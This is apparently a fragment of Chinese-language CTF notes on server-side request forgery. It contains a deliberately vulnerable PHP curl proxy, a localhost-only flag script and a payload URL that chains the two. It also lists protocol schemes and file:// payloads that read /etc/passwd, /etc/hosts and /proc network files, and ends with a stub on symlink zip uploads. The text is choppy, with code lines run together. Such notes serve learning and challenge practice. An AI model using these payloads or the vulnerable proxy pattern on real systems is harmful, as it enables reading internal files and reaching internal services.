example
1234567891011121314
# index.php<?phphighlight_file(__FILE__);function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo $result;}$url = $_GET['url'];curl($url);
12345678910111213
# ssrf.php<?php$ip = $_SERVER["REMOTE_ADDR"];if($ip === "127.0.0.1"){ if($_GET["passwd"] === "adminTrue"){ readfile("/flag"); } else{ echo "no"; }}else{ echo "not 127.0.0.1";}
payload
12
?url=http://127.0.0.1/ssrf.php?passwd=adminTrue...
12345678
file://dict://gopher://ftp://sftp://ldap://tftp://...
file://
123456
file://file:///etc/passwdfile:///etc/hostsfile:///proc/net/arpfile:///proc/net/fib_trie...
题型:文件上传(软连接)
点击上传,跳转到upload.php,高亮源码
软连接
依次上传 1.zip、2.zip